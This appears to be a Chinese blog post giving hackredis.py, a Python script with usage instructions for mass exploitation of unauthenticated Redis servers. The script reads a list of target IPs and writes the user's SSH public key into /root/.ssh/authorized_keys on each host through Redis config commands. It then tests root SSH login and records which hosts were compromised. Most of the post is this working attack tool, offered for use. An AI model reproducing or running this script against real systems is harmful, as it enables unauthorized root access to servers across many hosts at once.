一.getshell前提

①能有对 /root/.ssh/目录写入的权限

②目标机开启22端口

二.安装依赖

sudo easy_install redis

三.使用

redis python hackredis.py
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22 optional arguments:
-h, --help show this help message and exit
-l IPLIST the hosts of target
-p PORT the redis default port
-r ID_RSAFILE the ssh id_rsa file you generate
-sp SSH_PORT the ssh port

四.创建ssh密钥

ssh-keygen -t rsa              /一直按回车就OK了
cp ~/.ssh/id_rsa.pub /tmp/foo.txt

五.启动脚本

将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。

!/usr/bin/python

#coding:utf-8

#############################################################

## @file hackredis.py         ##

## @date 2015-12-11          ##

## @author evi1cg           ##

#############################################################

import redis

import argparse

import textwrap

import sys

import pexpect

def getargs():

    parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/

    For Example:

    -----------------------------------------------------------------------------

    python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))

    parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')

    parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')

    parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')

    parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')

    if(len(sys.argv[1:]) / 2 != 4):

        sys.argv.append('-h')

    return parser.parse_args()

def hackredis(host,port):

    ck = 0

    try:

        print "[*] Attacking ip:%s"%host

        r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)

        r.flushall

        r.set('crackit',foo)

        r.config_set('dir','/root/.ssh/')

        r.config_set('dbfilename','authorized_keys')

        r.save()

        ck =1

    except:

        print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host

        write(host,2)

        ck =0

    if ck == 1:

        check(host)

    else:

        pass

def check(host):

    print '/033[1;33;40m[*]/033[0m Check connecting... '

    try:

            ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))

            i = ssh.expect('[#/$]',timeout=2)

            if i == 0:

                print "/033[1;34;40m[+]/033[0m Success !"

                write(host,1)

            else:

                pass

    except:

            print "/033[1;32;40m[-]/033[0m Failed to connect !"

            write(host,3)

def write(host,suc):

    if suc == 1:

        filesname = 'success.txt'

    elif suc ==2:

        filesname = 'fail.txt'

    elif suc ==3:

        filesname = 'unconnect.txt'

    else:

        pass

    file_object = open(filesname,'a')

    file_object.write(host+'/n')

    file_object.close()

def main():

    global foo,ssh_port

    paramsargs = getargs()

    try:

        hosts = open(paramsargs.iplist,"r")

    except(IOError):

        print "Error: Check your hostfile path/n"

        sys.exit(1) 

    port = paramsargs.port

    ssh_port = paramsargs.ssh_port

    try:

        foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'

    except(IOError):

        print "Error: Check your wordlist path/n"

        sys.exit(1)  

    ips = [p.replace('/n','') for p in hosts]

    for ip in ips:

        hackredis(ip.strip(),port)

if __name__ == "__main__":

    main()

原文链接:http://www.secange.com/2017/09/redis未授权批量提权脚本python-2/

Redis 未授权访问漏洞批量提权的更多相关文章

  1. Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用

    关于Redis Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 ...

  2. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  3. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  4. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  5. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  6. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  7. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  8. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  9. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

随机推荐

  1. 实战:xfs文件系统的备份和恢复

    概述 XFS提供了 xfsdump 和 xfsrestore 工具协助备份XFS文件系统中的数据.xfsdump 按inode顺序备份一个XFS文件系统. centos7选择xfs格式作为默认文件系统 ...

  2. git学习(九) idea git stash操作

    在前面说过,git stash 命令的作用就是将目前还不想提交的但是已经修改的内容进行保存至堆栈中,后续可以在某个分支上恢复出堆栈中的内容:git stash 作用的范围包括工作区和暂存区中的内容,没 ...

  3. 实战一:建立springcloud基础项目结构

    一,,创建父工程,用于管理项目依赖版本 1,new -> project -> maven 2,修改pom.xml,这里管理了springboot,springcloud,springcl ...

  4. 栈的C++实现

    数据结构c++实现系列第一篇. 话不多说,直接上代码. sichstack.h (头文件) 1 #pragma once 2 #include<string> 3 4 namespace ...

  5. 联赛模拟测试25 C. Repulsed 贪心+树形DP

    题目描述 分析 考虑自底向上贪心 \(f[x][k]\) 表示 \(x\) 下面距离为 \(k\) 的需要灭火器的房间数,\(g[x][k]\) 表示 \(x\) 下面距离为 \(k\) 的多余灭火器 ...

  6. Setuptools 【Python工具包详解】

    什么是setuptools setuptools是Python distutils增强版的集合,它可以帮助我们更简单的创建和分发Python包,尤其是拥有依赖关系的.用户在使用setuptools创建 ...

  7. Kubernetes Controller详解

    运行容器化应用是Kubernetes最重要的核心功能.为满足不同的业务需要,Kubernetes提供了多种Controller,主要包括Deployment.DaemonSet.Job.CronJob ...

  8. jvm内存查看方法----个人参考版

    查看设置JVM内存信息 1 Runtime.getRuntime().maxMemory(); //最大可用内存,对应-Xmx 2 3 Runtime.getRuntime().freeMemory( ...

  9. Android测试三件套:传文件、抓包、看日志

    在对安卓进行测试时,我们需要把 apk 传到安卓机上,对请求抓包,同时监控应用日志.本文就来讲讲具体操作. 安卓机是指基于安卓的机器 ,如手机.POS 机.电视盒子等. 传文件 我们拒绝用 U 盘传文 ...

  10. 记一次ns3的安装过程

    官方安装教程:https://www.nsnam.org/wiki/Installation 推荐使用Ubuntu18.04,Ubuntu20.04有些依赖无法下载. 准备工作 # 如果下载速度很慢, ...